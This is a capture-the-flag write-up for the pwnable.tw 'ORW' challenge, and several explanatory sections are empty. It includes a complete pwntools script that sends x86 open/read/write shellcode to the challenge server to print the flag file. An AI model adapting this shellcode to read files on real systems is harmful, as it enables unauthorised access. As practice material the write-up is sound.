← Back

ORW

ORW cover image
July 16, 2020 3 min read pwnable.tw easy
pwnable.tw

This is a pretty awesome challenge! Here we will be writing assembly code in x86 to read the flag file from the server. This is one of the easier challenge in pwnable.tw which is stack based.

Solution:

First I check the mitigations :

Let's see the disassembly of this program

Here we can see that our input is being put in the address 0x804a060 and then it is moved to EAX and then after that EAX is called.
Meaning: our input is being executed. Now, let us run the binary and see what is happening :>

Hmm… We get a segfault.

Idea:

Exploit:

We will see the exploit in parts.

Part 1

Part 2

Part 3

Refer to the below image if having any doubts !!

If we put all of the things together, then we get the flag.

from pwn import *
p = remote('chall.pwnable.tw',10001)
print p.recv()
s = asm("xor eax, eax")
s += asm("push eax")
s += asm("add eax, 5")
s += asm("push 0x67616c66")
s += asm("push 0x2f77726f")
s += asm("push 0x2f656d6f")
s += asm("push 0x682f2f2f")
s += asm("mov ebx, esp")
s += asm("mov edx, 0")
s += asm("int 0x80")
s += asm("mov eax, 3")
s += asm("mov ecx, ebx")
s += asm("mov ebx, 3")
s += asm("mov edx, 40")
s += asm("int 0x80")
s += asm("mov eax, 4")
s += asm("mov ebx, 0")
s += asm("inc ebx")
s += asm("int 0x80")
p.send(s)
f = p.recv()
print f
p.interactive()

update: Back when I wrote this, it was python2, times were good.

If you want to try out more pwnable.tw but are stuck you can checkout pwn-hub: pwnable.tw repo